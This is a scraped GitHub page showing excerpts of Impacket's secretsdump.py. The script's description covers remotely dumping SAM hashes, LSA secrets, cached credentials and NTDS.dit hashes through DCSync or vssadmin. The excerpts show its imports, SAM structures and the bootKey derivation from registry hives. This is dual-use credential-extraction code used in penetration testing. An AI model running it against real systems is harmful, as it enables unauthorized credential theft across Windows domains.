Sign in

fortra / **impacket** Public

Notifications | Fork 3.6k | Star 13.5k

Code | Issues 196 | Pull requests 150 | Actions | Projects | Security | Insights

impacket / impacket / examples / **secretsdump.py**

2679 lines (2336 loc) · 117 KB

Code | Blame | Raw

```python
# Impacket - Collection of Python classes for working with network protocols.
#
# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
#   Performs various techniques to dump hashes from the
#   remote machine without executing any agent there.
#   For SAM and LSA Secrets (including cached creds)
#   we try to read as much as we can from the registry
#   and then we save the hives in the target system
#   (%SYSTEMROOT%\\Temp dir) and read the rest of the
#   data from there.
#   For NTDS.dit we either:
#       a. Get the domain users list and get its hashes
#          and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
#          call, replicating just the attributes we need.
#       b. Extract NTDS.dit via vssadmin executed  with the
#          smbexec approach.
#          It's copied on the temp dir and parsed remotely.
#
#   The script initiates the services required for its working
#   if they are not available (e.g. Remote Registry, even if it is
```

```python
#   disabled). After the work is done, things are restored to the
#   original state.
#
# Author:
#  Alberto Solino (@agsolino)
#
# References:
#   Most of the work done by these guys. I just put all
#   the pieces together, plus some extra magic.
#   - https://github.com/gentilkiwi/kekeo/tree/master/dcsync
#   - https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
#   - https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
#   - https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
#   - https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13
#   - https://code.google.com/p/creddump/
#   - https://lab.mediaservice.net/code/cachedump.rb
#   - https://insecurety.net/?p=768
#   - https://web.archive.org/web/20190717124313/http://www.beginningtoseethelight.org/ntsecurity/i
#   - https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-anal
#   - https://www.passcape.com/index.php?section=blog&cmd=details&id=15
#
from __future__ import division
from __future__ import print_function
import codecs
import json
import hashlib
import logging
import ntpath
import os
import re
import random
import string
import time
from binascii import unhexlify, hexlify
from collections import OrderedDict
from datetime import datetime
from struct import unpack, pack
from six import b, PY2

from impacket import LOG
from impacket import system_errors
from impacket import winregistry, ntlm
from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GS
from impacket.dcerpc.v5.dcom import wmi
```

```
from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET
    VARIANT, VARENUM, DISPATCH_METHOD
from impacket.dcerpc.v5.dcomrt import DCOMConnection, OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, C
    OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXT
    IRemUnknown2, INTERFACE
from impacket.ese import ESENT_DB
from impacket.dpapi import DPAPI_SYSTEM
from impacket.smb3structs import FILE_READ_DATA, FILE_SHARE_READ
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.structure import Structure
from impacket.structure import hexdump
from impacket.uuid import string_to_bin
from impacket.crypto import transformKey
from impacket.krb5 import constants
from impacket.krb5.crypto import string_to_key
try:
    from Cryptodome.Cipher import DES, ARC4, AES
    from Cryptodome.Hash import HMAC, MD4, MD5
except ImportError:
    LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex")
    LOG.critical("See https://pypi.org/project/pycryptodomex/")


# Structures
# Taken from https://insecurety.net/?p=768
class SAM_KEY_DATA(Structure):
    structure = (
        ('Revision','<L=0'),
        ('Length','<L=0'),
        ('Salt','16s=b""'),
        ('Key','16s=b""'),
        ('CheckSum','16s=b""'),
        ('Reserved','<Q=0'),
    )

# Structure taken from mimikatz (@gentilkiwi) in the context of https://github.com/SecureAuthCorp/i
# Merci! Makes it way easier than parsing manually.
class SAM_HASH(Structure):
    structure = (
        ('PekID','<H=0'),
        ('Revision','<H=0'),
        ('Hash','16s=b""'),
    )

class SAM_KEY_DATA_AES(Structure):
    structure = (
```

```
        structure = (
```

```
                hashesOutputFile.close()

            if keysOutputFile is not None:
                keysOutputFile.close()

            if clearTextOutputFile is not None:
                clearTextOutputFile.close()

            self.__resumeSession.endTransaction()

    @classmethod
    def __writeOutput(cls, fd, data):
        try:
            fd.write(data)
        except Exception as e:
            LOG.error("Error writing entry, skipping (%s)" % str(e))
            pass

    def finish(self):
        if self.__NTDS is not None:
            self.__ESEDB.close()

class LocalOperations:
    def __init__(self, systemHive):
        self.__systemHive = systemHive

    def getBootKey(self):
        # Local Version whenever we are given the files directly
        bootKey = b''
        tmpKey = b''
        winreg = winregistry.Registry(self.__systemHive, False)
        # We gotta find out the Current Control Set
```

```
        currentControlSet = winreg.getValue('\\Select\\Current')[1]
        currentControlSet = "ControlSet%03d" % currentControlSet
        for key in ['JD', 'Skew1', 'GBG', 'Data']:
            LOG.debug('Retrieving class info for %s' % key)
            ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet, key))
            digit = ans[:16].decode('utf-16le')
            tmpKey = tmpKey + b(digit)

        transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]

        tmpKey = unhexlify(tmpKey)

        for i in range(len(tmpKey)):
            bootKey += tmpKey[transforms[i]:transforms[i] + 1]

        LOG.info('Target system bootKey: 0x%s' % hexlify(bootKey).decode('utf-8'))

        return bootKey


    def checkNoLMHashPolicy(self):
        LOG.debug('Checking NoLMHash Policy')
        winreg = winregistry.Registry(self.__systemHive, False)
        # We gotta find out the Current Control Set
        currentControlSet = winreg.getValue('\\Select\\Current')[1]
        currentControlSet = "ControlSet%03d" % currentControlSet

        # noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1]
        noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)
        if noLmHash is not None:
            noLmHash = noLmHash[1]
        else:
            noLmHash = 0

        if noLmHash != 1:
            LOG.debug('LMHashes are being stored')
            return False
        LOG.debug('LMHashes are NOT being stored')
        return True

def _print_helper(*args, **kwargs):
    print(args[-1])
```